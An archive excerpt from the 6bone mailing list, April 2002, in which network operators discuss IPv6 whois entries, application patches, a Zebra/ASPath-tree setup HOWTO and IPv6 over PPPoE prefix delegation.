Hash: SHA1

On Apr 23 2002 17:58 +0200, Andreas 'randy' Weinberger wrote:

> hoi helios,
>
> > I should have a public DNS working soon... but for the application:
> > lines, where can I add these ?
>
> something like this in the 6bone whois db:
>
> application:  domain dns1.v6bone.de
>
> or
>
> application:  nntp news.v6bone.de

I'm wondering - do I, as an end user site (with a /48), need to put in
"application" entries in my 6bone whois ipv6-site object? As can be
seen on http://whois.6bone.net/cgi-bin/whois?wolfpack, I don't have
any now.

Just don't want to be violating some standard or consensus. I would
rather be part of the solution than part of the problem.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From 6bone-owner  Tue Apr 23 12:51:06 2002
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From: David Kessens <david@IPRG.nokia.com>
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Michael,

On Tue, Apr 23, 2002 at 07:58:40PM +0200, Michael Kjorling wrote:
> >
> > > I should have a public DNS working soon... but for the application:
> > > lines, where can I add these ?
> >
> > something like this in the 6bone whois db:
> >
> > application:  domain dns1.v6bone.de
> >
> > or
> >
> > application:  nntp news.v6bone.de
> 
> I'm wondering - do I, as an end user site (with a /48), need to put in
> "application" entries in my 6bone whois ipv6-site object? As can be
> seen on http://whois.6bone.net/cgi-bin/whois?wolfpack, I don't have
> any now.
> 
> Just don't want to be violating some standard or consensus. I would
> rather be part of the solution than part of the problem.

It's totally optional. It allows you to help other try out ipv6
services on the network, or the other way around, people can test
whether you have a network problem, and might be willing to drop you a
mail when they find a problem.

I hope this helps,

David K.
---

From 6bone-owner  Tue Apr 23 20:07:22 2002
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From: Nathan Lutchansky <lutchann-6bone@litech.org>
To: Nicolas DEFFAYET <nicolas.deffayet-extml@ndsoftwaregroup.com>
Cc: 6bone@ISI.EDU
Subject: Re: [OT] IPv6 applications in active use
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On Mon, Apr 22, 2002 at 07:14:34PM +0200, Nicolas DEFFAYET wrote:
> > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On=20
> > Behalf Of Nathan Lutchansky
> > Sent: Monday, April 22, 2002 2:28 PM
> >=20
> > The only services I use that don't have IPv6 support are=20
> > CUPS, X, and VNC. =20
> > IPv6 VNC would be really nice on the Windows side, but=20
> > considering that
> > Windows support for everything is so unbelievably weak right=20
> > now I'm not
> > surprised.
>=20
> X and VNC have IPv6 support:
>=20
> VNC 3.3.2r3: ftp://ftp.kame.net/pub/kame/misc/

Yes, it's geared for KAME though (natch) and it doesn't compile on Linux
without a lot of hacking.  I spent an hour getting the viewer to compile,
and just gave up on the server.

At any rate, most of my VNC connections are to Windows systems (tech=20
support and whatnot) so until the Win32 server supports IPv6, having an=20
IPv6-enabled Unix VNC package isn't much use to me.

> XFree 3.3.3.1: http://cvsweb.pld.org.pl/

Yuck!  I'm not recompiling the entire X package!  :-)

> I think CUPS too but i don't find the patch.

I haven't found a patch for CUPS.  If I get bored I'll write one.

Anyway, the point of my last message was that much networking software
really is becoming IPv6-ready "out of the box".  We've been able to patch
support into packages for a while, but that shouldn't be required.  I
should just be able to put a fresh Windows/RedHat/Debian/BSD install on a
machine, plug it into an Ethernet segment with an IPv6 router on it, and
have it WORK.  On *nix systems, we're very nearly to that point now.

> You can find a lot of informations about ipv6 support on (thank Peter
> for this excellent page, don't forgot to update it):
> http://bieringer.mirrors.fastnetxp.com/status/IPv6+Linux-status-apps.html

Yes, Peter does an excellent job keeping up this resource.  I send him=20
updates regularly.

> If many people want help me to build a FTP with all ipv6 patchs, ipv6
> apps patched, ipv6 docs, and more; please contact me.

Seems like the biggest problem that IPv6 catalogs have is that of becoming=
=20
outdated.  Peter Bieringer's site is the best one out there in terms of=20
tracking native and patched support in various apps and having up-to-date=
=20
information.

If you're serious about keeping a complete, up-to-date archive, good luck=
=20
to you.  -Nathan

--=20
+-------------------+---------------------+------------------------+
| Nathan Lutchansky | lutchann@litech.org |  Lithium Technologies  |
+------------------------------------------------------------------+
|  I dread success.  To have succeeded is to have finished one's   |
|  business on earth...  I like a state of continual becoming,     |
|  with a goal in front and not behind. - George Bernard Shaw      |
+------------------------------------------------------------------+

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From 6bone-owner  Wed Apr 24 14:21:55 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "Mailing-List IPv6 Users" <users@ipv6.org>,
        "Mailing-List 6bone" <6bone@ISI.EDU>,
        "Mailing-List Zebra" <zebra@zebra.org>
Subject: [HOWTO] Use ASPath-tree with Zebra
Date: Wed, 24 Apr 2002 23:20:46 +0200
Organization: NDSoftware Group
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Hello,


A lot of peoples ask me how use ASPath-tree with Zebra.
I write a howto for help this peoples.

You can see the result of this howto:
http://noc.fastnetxp.com/stats/aspath-tree/bgp.html

I wait your comments about this howto.
If you have others methods that vtysh for get full bgp table, find
errors,... don't hesitate to contact me !

Best Regards,

Nicolas DEFFAYET

----

HOWTO: Use ASPath-tree with Zebra

Write by Nicolas DEFFAYET <nicolas.deffayet@ndsoftwaregroup.com>
Version: 1.0

1/ Introduction


1.1) Copyright

Copyright© 2002 Nicolas DEFFAYET

This HOWTO is free document; you can redistribute it and/or modify it
under the terms of the GNU General Public License as  published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version.
A copy of the license is available at
http://www.gnu.org/copyleft/gpl.html

This HOWTO is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
Public License for more details


1.2) Notes

Get the last version of Zebra: http://www.zebra.org
Get the last version of ASPath-tree:
http://carmen.ipv6.tilab.com/ipv6/tools/ASpath-tree/index.html

The default installation directory of Zebra is: /usr/local/
The default installation directory of ASPath-tree is:
/usr/local/ASpath-tree/



2/ Preparation of Zebra


2.1) If you don't have vtysh (in /usr/local/bin)

Recompile Zebra with vtysh enabled:

 1. Unpack the Zebra's tarball.
 2. $ ./configure --enable-vtysh
 3. $ make
 4. Stop your Zebra's deamons.
 5. $ make install
 6. Restart your Zebra's deamons.


2.2) If you have vtysh (in /usr/local/bin)

Now test if you get the full bgp table:

/usr/local/bin/vtysh -e "show ipv6 bgp"

Note: this command work only as root !!!



3/ Installation of ASPath-tree


3.1) Unpack the ASpath-tree's tarball in /usr/local/ASpath-tree


3.2) Edit /usr/local/ASpath-tree/www/update-rtree

Modify the perl path if it's not good.

Change this line:
my $CONFIGFILE = "/etc/ASpath-tree.config";
by:
my $CONFIGFILE = "/usr/local/ASpath-tree/etc/ASpath-tree.config";


3.3) Edit /usr/local/ASpath-tree/www/lib/rsh-cisco.pl

Change the line:
	open(OUTPUT,"$RSHDIR/rsh $ROUTERADDR -l $ROUTERUSER \"show bgp
ipv6\" |");
by:
	open(OUTPUT,"$RSHDIR/vtysh -e \"show bgp ipv6\" |");


3.4) Edit /usr/local/ASpath-tree/www/etc/ASpath-tree.config

Modify this variables:

HOMEDIR = /usr/local/ASpath-tree
RSHDIR = /usr/local/bin
ROUTERADDR = localhost
ROUTERUSER = router
HTMLDIR = /usr/local/ASpath-tree/www/
CONTACTNAME = 
CONTACTMAIL = 
SITENAME = 

Read the comments of the configuration for more informations...


3.5) Create directory /usr/local/ASpath-tree/www/


3.6) Update cron:

0,5,10,15,20,25,30,35,40,45,50,55 0-23 * * *
/usr/local/ASpath-tree/update-rtree > /dev/null 2>&1

You can modify the delay beetween each updates.


3.7) For more informations, read /usr/local/ASpath-tree/readme.txt



4/ Running ASpath-tree

ASpath-tree will be start every 5 minutes by cron and create html files
in /usr/local/ASpath-tree/www/


----


From 6bone-owner  Wed Apr 24 16:43:13 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "Mailing-List IPv6 Users" <users@ipv6.org>,
        "Mailing-List 6bone" <6bone@ISI.EDU>,
        "Mailing-List Zebra" <zebra@zebra.org>
Date: Wed, 24 Apr 2002 23:20:46 +0200
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Subject: [zebra 13448] [HOWTO] Use ASPath-tree with Zebra
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Hello,


A lot of peoples ask me how use ASPath-tree with Zebra.
I write a howto for help this peoples.

You can see the result of this howto:
http://noc.fastnetxp.com/stats/aspath-tree/bgp.html

I wait your comments about this howto.
If you have others methods that vtysh for get full bgp table, find
errors,... don't hesitate to contact me !

Best Regards,

Nicolas DEFFAYET

----

HOWTO: Use ASPath-tree with Zebra

Write by Nicolas DEFFAYET <nicolas.deffayet@ndsoftwaregroup.com>
Version: 1.0

1/ Introduction


1.1) Copyright

Copyright© 2002 Nicolas DEFFAYET

This HOWTO is free document; you can redistribute it and/or modify it
under the terms of the GNU General Public License as  published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version.
A copy of the license is available at
http://www.gnu.org/copyleft/gpl.html

This HOWTO is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
Public License for more details


1.2) Notes

Get the last version of Zebra: http://www.zebra.org
Get the last version of ASPath-tree:
http://carmen.ipv6.tilab.com/ipv6/tools/ASpath-tree/index.html

The default installation directory of Zebra is: /usr/local/
The default installation directory of ASPath-tree is:
/usr/local/ASpath-tree/



2/ Preparation of Zebra


2.1) If you don't have vtysh (in /usr/local/bin)

Recompile Zebra with vtysh enabled:

 1. Unpack the Zebra's tarball.
 2. $ ./configure --enable-vtysh
 3. $ make
 4. Stop your Zebra's deamons.
 5. $ make install
 6. Restart your Zebra's deamons.


2.2) If you have vtysh (in /usr/local/bin)

Now test if you get the full bgp table:

/usr/local/bin/vtysh -e "show ipv6 bgp"

Note: this command work only as root !!!



3/ Installation of ASPath-tree


3.1) Unpack the ASpath-tree's tarball in /usr/local/ASpath-tree


3.2) Edit /usr/local/ASpath-tree/www/update-rtree

Modify the perl path if it's not good.

Change this line:
my $CONFIGFILE = "/etc/ASpath-tree.config";
by:
my $CONFIGFILE = "/usr/local/ASpath-tree/etc/ASpath-tree.config";


3.3) Edit /usr/local/ASpath-tree/www/lib/rsh-cisco.pl

Change the line:
	open(OUTPUT,"$RSHDIR/rsh $ROUTERADDR -l $ROUTERUSER \"show bgp
ipv6\" |");
by:
	open(OUTPUT,"$RSHDIR/vtysh -e \"show bgp ipv6\" |");


3.4) Edit /usr/local/ASpath-tree/www/etc/ASpath-tree.config

Modify this variables:

HOMEDIR = /usr/local/ASpath-tree
RSHDIR = /usr/local/bin
ROUTERADDR = localhost
ROUTERUSER = router
HTMLDIR = /usr/local/ASpath-tree/www/
CONTACTNAME = 
CONTACTMAIL = 
SITENAME = 

Read the comments of the configuration for more informations...


3.5) Create directory /usr/local/ASpath-tree/www/


3.6) Update cron:

0,5,10,15,20,25,30,35,40,45,50,55 0-23 * * *
/usr/local/ASpath-tree/update-rtree > /dev/null 2>&1

You can modify the delay beetween each updates.


3.7) For more informations, read /usr/local/ASpath-tree/readme.txt



4/ Running ASpath-tree

ASpath-tree will be start every 5 minutes by cron and create html files
in /usr/local/ASpath-tree/www/


----



From 6bone-owner  Wed Apr 24 19:46:57 2002
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Date: Sat, 20 Apr 2002 20:53:29 +0000 (GMT)
From: Charlie ROOT <root@TheSocket.remoteserver.org>
To: 6bone@ISI.EDU
Subject: remove
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I Wanna Be Killed.

r00t


From 6bone-owner  Wed Apr 24 20:38:52 2002
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From: "yjchu" <yjchui@cht.com.tw>
To: <6bone@ISI.EDU>
Subject: about IPv6 PPPoE
Date: Thu, 25 Apr 2002 11:35:36 +0800
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This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C1EC4D.517A96F0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

Hi:
    At present, there is no specification for PPPoE (IPv6). However, =
What we will do in the future if we want to dial to IPv6 network through =
ADSL? Or, we will use fixed rather than dial-up connection in the future =
IPv6 ADSL access?

Thanks

Yann-Ju Chu
ChungHwa Telecom. Co.

------=_NextPart_000_0017_01C1EC4D.517A96F0
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DMingLiu size=3D2>Hi:</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; At =
present, there is no=20
specification for PPPoE (IPv6). However, What we will do in the future =
if we=20
want to dial to IPv6 network through ADSL? Or, we will use fixed rather =
than=20
dial-up connection in the future IPv6 ADSL access?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Thanks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DMingLiu size=3D2>Yann-Ju Chu</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>ChungHwa Telecom. =
Co.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0017_01C1EC4D.517A96F0--


From 6bone-owner  Wed Apr 24 21:32:09 2002
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To: "yjchu" <yjchui@cht.com.tw>
Cc: 6bone@ISI.EDU
In-reply-to: yjchui's message of Thu, 25 Apr 2002 11:35:36 +0800.
      <001a01c1ec0a$435e82e0$8d59900a@chttl.com.tw> 
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Subject: Re: about IPv6 PPPoE 
From: itojun@iijlab.net
Date: Thu, 25 Apr 2002 13:32:13 +0900
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>Hi:
>    At present, there is no specification for PPPoE (IPv6). However, =
>What we will do in the future if we want to dial to IPv6 network through =
>ADSL? Or, we will use fixed rather than dial-up connection in the future =
>IPv6 ADSL access?

	fixed, permanent connectivity with static address is preferred than
	dialups, however:
	- there are cases where dialup is really necessary - like travelling
	  notebooks.
	- there are needs for automating customer device configuration.

	so, a protocol for assigning prefix to customer would be nice.
	the topic is under discussion at IETF ipngwg.

	you may want to check the following:
	overview:
	draft-itojun-ipv6-dialup-requirement-02.txt
	protocol proposals:
	draft-troan-dhcpv6-opt-prefix-delegation-00.txt
	(there are other proposals exist)
	IETF ipngwg minutes for last meeting (www.ietf.org)

itojun

From 6bone-owner  Wed Apr 24 22:26:54 2002
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From: Dave <dave@dave.tj>
Subject: Re: remove
In-reply-to: 
 <Pine.BSO.4.44.0204202053140.27909-100000@TheSocket.remoteserver.org>
To: root@TheSocket.remoteserver.org (Charlie ROOT)
Cc: 6bone@ISI.EDU
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Hmm ... anybody got a gun?

Dave Cohen <dave@dave.tj>


Charlie ROOT wrote:
> 
> 
> I Wanna Be Killed.
> 
> r00t
> 


From 6bone-owner  Wed Apr 24 23:08:27 2002
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Subject: news.bbc.co.uk NXDOMAIN problem fixed
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------- =_aaaaaaaaaa0
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	wow, it was quick!

itojun

------- =_aaaaaaaaaa0
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Date: Thu, 25 Apr 2002 07:06:32 +0100
From: Simon Lockhart <simonl@rd.bbc.co.uk>
To: Jun-ichiro itojun Hagino <itojun@itojun.org>
Cc: nanog@nanog.org
Subject: Re: incorrect NXDOMAIN response from DNS server
Message-Id: <20020425060630.GA3290@rd.bbc.co.uk>
References: <26629.1019701827@itojun.org>
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On Thu Apr 25, 2002 at 11:30:27AM +0900, Jun-ichiro itojun Hagino wrote:
> 	there are name server implementations (probably load balancing product)
> 	that responds with NXDOMAIN, when it should respond with NOERROR with
> 	empty reply.  one example is news.bbc.co.uk.  

Guilty as charged. Seems to only have been a problem since the deployment
of IPv6

> 	do you know:
> 	- name of particular implementation which have/had this bug?

"BBC Intelligent Load Balancing DNS Server"

> 	- other examples of nameservers that behave like this?
> 	  (windowsupdate.microsoft.com behaved like this in Feb 2002, but
> 	  they are already fixed)

Oh, so it's not just us.

> 	- how can we get people to fix it?  (client side workaround should
> 	  not be populated, just to be sure)

Name and shame seems to work ;-) I believe I have now fixed it. Please let me
know if you think otherwise.

Simon
-- 
Simon Lockhart                       |   Tel: +44 (0)1737 839676 
Internet Engineering Manager         |   Fax: +44 (0)1737 839516 
BBC Internet Services                | Email: Simon.Lockhart@bbc.co.uk 
Kingswood Warren,Tadworth,Surrey,UK  |   URL: http://support.bbc.co.uk/

------- =_aaaaaaaaaa0--

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To: 6bone@ISI.EDU
Subject: IPv6 BGP statistics
From: Hideaki Imaizumi <hiddy@sfc.wide.ad.jp>
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Hi all,

I mostly finished first version of IPv6 BGP perspective.
http://www.ep.net/bgp-ipv6

I would very much appreciate having any comments or suggestions.
I'm going to make this software available in about 1,2 weeks.

Best regards, 
Hideaki Imaizumi

From 6bone-owner  Thu Apr 25 02:01:11 2002
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From: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
To: "yjchu" <yjchui@cht.com.tw>, <itojun@iijlab.net>
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References: <27746.1019709133@itojun.org>
Subject: Re: about IPv6 PPPoE 
Date: Thu, 25 Apr 2002 11:05:32 +0200
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Are you sure about that?  We are using PPPoE with ipv6 and its working fine (IPCP6 or something).

Joergen Hovland

----- Original Message ----- 
From: <itojun@iijlab.net>
To: "yjchu" <yjchui@cht.com.tw>
Cc: <6bone@ISI.EDU>
Sent: Thursday, April 25, 2002 6:32 AM
Subject: Re: about IPv6 PPPoE 


> >Hi:
> >    At present, there is no specification for PPPoE (IPv6). However, =
> >What we will do in the future if we want to dial to IPv6 network through =
> >ADSL? Or, we will use fixed rather than dial-up connection in the future =
> >IPv6 ADSL access?
 
> fixed, permanent connectivity with static address is preferred than
> dialups, however:
> - there are cases where dialup is really necessary - like travelling
>   notebooks.
> - there are needs for automating customer device configuration.
> 
> so, a protocol for assigning prefix to customer would be nice.
> the topic is under discussion at IETF ipngwg.
> 
> you may want to check the following:
> overview:
> draft-itojun-ipv6-dialup-requirement-02.txt
> protocol proposals:
> draft-troan-dhcpv6-opt-prefix-delegation-00.txt
> (there are other proposals exist)
> IETF ipngwg minutes for last meeting (www.ietf.org)
> 
> itojun
> 


From 6bone-owner  Thu Apr 25 02:10:45 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <users@ipv6.org>, "'6bone'" <6bone@ISI.EDU>
Subject: PuTTY 2002-04-25 IPv6
Date: Thu, 25 Apr 2002 11:07:48 +0200
Organization: Unfix
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Boo,

A new version of PuTTY IPv6 has seen the daylight.
Get it at: http://unfix.org/projects/ipv6/

In short, the cool new stuff that now also works:
 - IPv6 tunneling.
 - X Forwarding over IPv6.
 - Issues.
 - much more...

Greets,
 Jeroen

>From the PuTTY IPv6 changelog, which will be in the CVS soon(tm):
8<--------------
 * IPv6 patch 5 (25 April 2002) Jeroen Massar <jeroen@unfix.org>
 *  - patch against CVS of yesterday, submitted as a 'cvs diff -u'.
 *  - removed some 'old' debug statements.
 *  - commented away ':' removal in window.c, which breaks direct IPv6
(eg 3ffe:8114::1) addressing.
 *    We should find a neater workaround, common is to use
[3ffe:8114::1]:22 (3ffe:8114::1 port 22).
 *  - IPv6 tunnels work, including X forwarding.
 *  - Added address to string conversion for IPv6 addresses.
 *  - sk_newlistener() now sports an address_family argument.
 *    PuTTY should give along the current connected IP version here.
 *    Note that if we want to listen on both IPv4 and IPv6 we need to do
two (2) sk_newlistener()'s
 *    One for each protocol: sk_newlistener(..., AF_INET);
sk_newlistener(..., AF_INET6);
 *  - IPv6 builds (including tools) can be found on
http://unfix.org/projects/ipv6/
 *    They work on IPv4-only, IPv6-only and IPv4&IPv6 dualstacked hosts.
-------------->8


From 6bone-owner  Thu Apr 25 02:12:28 2002
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Subject: Re: about IPv6 PPPoE 
From: itojun@iijlab.net
Date: Thu, 25 Apr 2002 18:12:35 +0900
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>Are you sure about that?  We are using PPPoE with ipv6 and its working =
>fine (IPCP6 or something).

	i guess we are (I am?) talking about different thing.
	IPv6CP works fine, yes.  you can send IPv6 packet over PPPoE, yes.
	but IPv6CP does not dynamically pass prefix information to you.

itojun

From 6bone-owner  Thu Apr 25 02:16:22 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "yjchu" <yjchui@cht.com.tw>
cc: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE 
In-reply-to: Your message of Thu, 25 Apr 2002 11:35:36 +0800.
             <001a01c1ec0a$435e82e0$8d59900a@chttl.com.tw> 
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 In your previous mail you wrote:

       At present, there is no specification for PPPoE (IPv6). However,
   What we will do in the future if we want to dial to IPv6 network through
   ADSL? Or, we will use fixed rather than dial-up connection in the future
   IPv6 ADSL access?
   
=> there are 3 different questions:
 - IPv6 over PPPoE: there is *no* problem at all because PPP[oE] works
   with any datagram network protocol and IPv6 over PPP is standardized.
 - IPv6 for dialup: read the excellent answer by Itojun.
 - IPv6 ADSL: wait for ADSL hardware vendors. It seems some complete
   solutions are already available (so someone can/would provide IPv6
   over ADSL to you).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Thu Apr 25 02:29:10 2002
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From: "Ethern Lin" <mclin@sinica.edu.tw>
To: <6bone@ISI.EDU>, "Hideaki Imaizumi" <hiddy@sfc.wide.ad.jp>
References: <20020425152125K.hiddy@sfc.wide.ad.jp>
Subject: Re: IPv6 BGP statistics
Date: Thu, 25 Apr 2002 17:28:54 +0800
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Thank you Hideaki,

It's a good tool for IPv6 BGP4+. I am looking forward to your release.

Best Regards,
Sincerely.

ASNET
Ethern Lin

----- Original Message ----- 
From: "Hideaki Imaizumi" <hiddy@sfc.wide.ad.jp>
To: <6bone@ISI.EDU>
Sent: Thursday, April 25, 2002 2:21 PM
Subject: IPv6 BGP statistics


> Hi all,
> 
> I mostly finished first version of IPv6 BGP perspective.
> http://www.ep.net/bgp-ipv6
> 
> I would very much appreciate having any comments or suggestions.
> I'm going to make this software available in about 1,2 weeks.
> 
> Best regards, 
> Hideaki Imaizumi
> 



From 6bone-owner  Thu Apr 25 02:48:15 2002
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Subject: Re: about IPv6 PPPoE 
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Somehow that also works here :-)
I dont remember exactly how. Either we changed the local scope prefix to a
global one, or we used routeradvertisement.

Joergen Hovland

On Thu, 25 Apr 2002 itojun@iijlab.net wrote:

> >Are you sure about that?  We are using PPPoE with ipv6 and its working =
> >fine (IPCP6 or something).
>
> 	i guess we are (I am?) talking about different thing.
> 	IPv6CP works fine, yes.  you can send IPv6 packet over PPPoE, yes.
> 	but IPv6CP does not dynamically pass prefix information to you.
>
> itojun
>


From 6bone-owner  Thu Apr 25 02:51:19 2002
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Subject: Re: about IPv6 PPPoE 
From: itojun@iijlab.net
Date: Thu, 25 Apr 2002 18:51:26 +0900
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>Somehow that also works here :-)
>I dont remember exactly how. Either we changed the local scope prefix to a
>global one, or we used routeradvertisement.

	router advertisement is one way you can use to assign /64 prefix to
	p2p link.  but once you want to assign /48 behind the customer router,
	there's no standard protocol at this moment.

itojun

From 6bone-owner  Thu Apr 25 03:16:39 2002
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Subject: Re: about IPv6 PPPoE 
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Do you mean route a /48 prefix, which is not a static netblock, to
the customer?

Thats true.

Joergen Hovland

On Thu, 25 Apr 2002 itojun@iijlab.net wrote:

> >Somehow that also works here :-)
> >I dont remember exactly how. Either we changed the local scope prefix to a
> >global one, or we used routeradvertisement.
>
> 	router advertisement is one way you can use to assign /64 prefix to
> 	p2p link.  but once you want to assign /48 behind the customer router,
> 	there's no standard protocol at this moment.
>
> itojun
>




From 6bone-owner  Thu Apr 25 04:03:06 2002
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Francis Dupont wrote:

>  - IPv6 ADSL: wait for ADSL hardware vendors. It seems some complete
>    solutions are already available (so someone can/would provide IPv6
>    over ADSL to you).

Some nice ADSL implementations use ATM bridging, thus giving you ADSL on
the phoneside,
and ethernet on the other, one does also see the MAC in the ARP table of
the router...
Hi-ho-native IPv6 ;)
At least my Alcatel does this and many others are capable of doing it.

Now all I have to do is convince my ADSL provider <grin>

Greets,
 Jeroen


From 6bone-owner  Thu Apr 25 04:37:40 2002
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To: "Robert" <robert@chalmers.com.au>
Cc: "ipv6users" <users@ipv6.org>, "6bone" <6bone@ISI.EDU>
In-reply-to: robert's message of Thu, 25 Apr 2002 15:29:02 +1000.
      <0a0c01c1ec1a$4fe16180$1a6001cb@chalmers.com.au> 
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Subject: Re: Does anyone know where I should look to fix this please? 
From: itojun@iijlab.net
Date: Thu, 25 Apr 2002 20:37:46 +0900
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>It doesn't appear to be actually causing any problems - I don't think
>anyway?
>Apr 25 15:27:57 nanguo sendmail[94293]:
>gethostbyaddr(IPv6:2002:cb01:6005:1::1) failed: 1
>However- its a bit of a nuisance.
>FreeBSD-4.5.

	declare reverse mapping in your DNS database, or have it in /etc/hosts.

itojun

From 6bone-owner  Thu Apr 25 07:45:37 2002
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From: SFS <iching2101@yahoo.com>
Subject: remove
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remove
--- Jørgen_Hovland <jorgen@hovland.cx> wrote:
> Do you mean route a /48 prefix, which is not a static
> netblock, to
> the customer?
> 
> Thats true.
> 
> Joergen Hovland
> 
> On Thu, 25 Apr 2002 itojun@iijlab.net wrote:
> 
> > >Somehow that also works here :-)
> > >I dont remember exactly how. Either we changed the
> local scope prefix to a
> > >global one, or we used routeradvertisement.
> >
> > 	router advertisement is one way you can use to assign
> /64 prefix to
> > 	p2p link.  but once you want to assign /48 behind the
> customer router,
> > 	there's no standard protocol at this moment.
> >
> > itojun
> >
> 
> 
> 


__________________________________________________
Do You Yahoo!?
Yahoo! Games - play chess, backgammon, pool and more
http://games.yahoo.com/

From 6bone-owner  Thu Apr 25 07:50:47 2002
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Date: Thu, 25 Apr 2002 07:50:33 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4004::/32 allocated to RESTENA-LU
Cc: yves.schaaf@restena.lu, 6bone reverse DNS registration <hostmaster@ep.net>
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RESTENA-LU has been allocated pTLA 3FFE:4004::/32 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?RESTENA-LU>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Apr 25 09:58:32 2002
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Subject: Re: Does anyone know where I should look to fix this please? 
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gethostbyaddr() ?
Eeeeeeeek.


What happened to getnameinfo() ?

Joergen Hovland
-The fine thing about standards is that there's so many of them.


On Thu, 25 Apr 2002 itojun@iijlab.net wrote:

> >It doesn't appear to be actually causing any problems - I don't think
> >anyway?
> >Apr 25 15:27:57 nanguo sendmail[94293]:
> >gethostbyaddr(IPv6:2002:cb01:6005:1::1) failed: 1
> >However- its a bit of a nuisance.
> >FreeBSD-4.5.
>
> 	declare reverse mapping in your DNS database, or have it in /etc/hosts.
>
> itojun
>


From 6bone-owner  Thu Apr 25 11:07:57 2002
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To: <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
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bridged dsl is bad.  very bad, in fact.

and the train left the station in the other direction a long time ago.



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> Jeroen Massar
> Sent: Thursday, April 25, 2002 7:00 AM
> To: 'Francis Dupont'; 'yjchu'
> Cc: 6bone@ISI.EDU
> Subject: RE: about IPv6 PPPoE
>
>
> Francis Dupont wrote:
>
> >  - IPv6 ADSL: wait for ADSL hardware vendors. It seems
> some complete
> >    solutions are already available (so someone can/would
> provide IPv6
> >    over ADSL to you).
>
> Some nice ADSL implementations use ATM bridging, thus
> giving you ADSL on
> the phoneside,
> and ethernet on the other, one does also see the MAC in the
> ARP table of
> the router...
> Hi-ho-native IPv6 ;)
> At least my Alcatel does this and many others are capable
> of doing it.
>
> Now all I have to do is convince my ADSL provider <grin>
>
> Greets,
>  Jeroen
>
>


From 6bone-owner  Thu Apr 25 14:48:30 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Christian Kuhtz'" <ck@arch.bellsouth.net>, <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
Date: Thu, 25 Apr 2002 23:48:24 +0200
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Christian Kuhtz wrote:

> bridged dsl is bad.  very bad, in fact.
"I don't like to eat <random food>  because I don't like to eat it, it's
a fact"
And the biggest movie quote ever: "And then?" or what about "So what?"

You could at least give some kind of hint what's so super bad about it.
I only know of a _lot_ of happy users who realy are glad they don't have
to use PPPoE ;)
Fact because BBNed provides it to over 10.000 lines+, growing hard every
day.
(Nopes I don't have exact numbers, if you want them ask their PR people
;)

> and the train left the station in the other direction a long time ago.
"Nopes it went back and crashed into a mountain where they discovered
gold"
Any relevance please, you didn't even mention IPv6...

Greets,
 Jeroen

> > -----Original Message-----
> > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> > Jeroen Massar
> > Sent: Thursday, April 25, 2002 7:00 AM
> > To: 'Francis Dupont'; 'yjchu'
> > Cc: 6bone@ISI.EDU
> > Subject: RE: about IPv6 PPPoE
> >
> >
> > Francis Dupont wrote:
> >
> > >  - IPv6 ADSL: wait for ADSL hardware vendors. It seems
> > some complete
> > >    solutions are already available (so someone can/would
> > provide IPv6
> > >    over ADSL to you).
> >
> > Some nice ADSL implementations use ATM bridging, thus
> > giving you ADSL on
> > the phoneside,
> > and ethernet on the other, one does also see the MAC in the
> > ARP table of
> > the router...
> > Hi-ho-native IPv6 ;)
> > At least my Alcatel does this and many others are capable
> > of doing it.
> >
> > Now all I have to do is convince my ADSL provider <grin>
> >
> > Greets,
> >  Jeroen


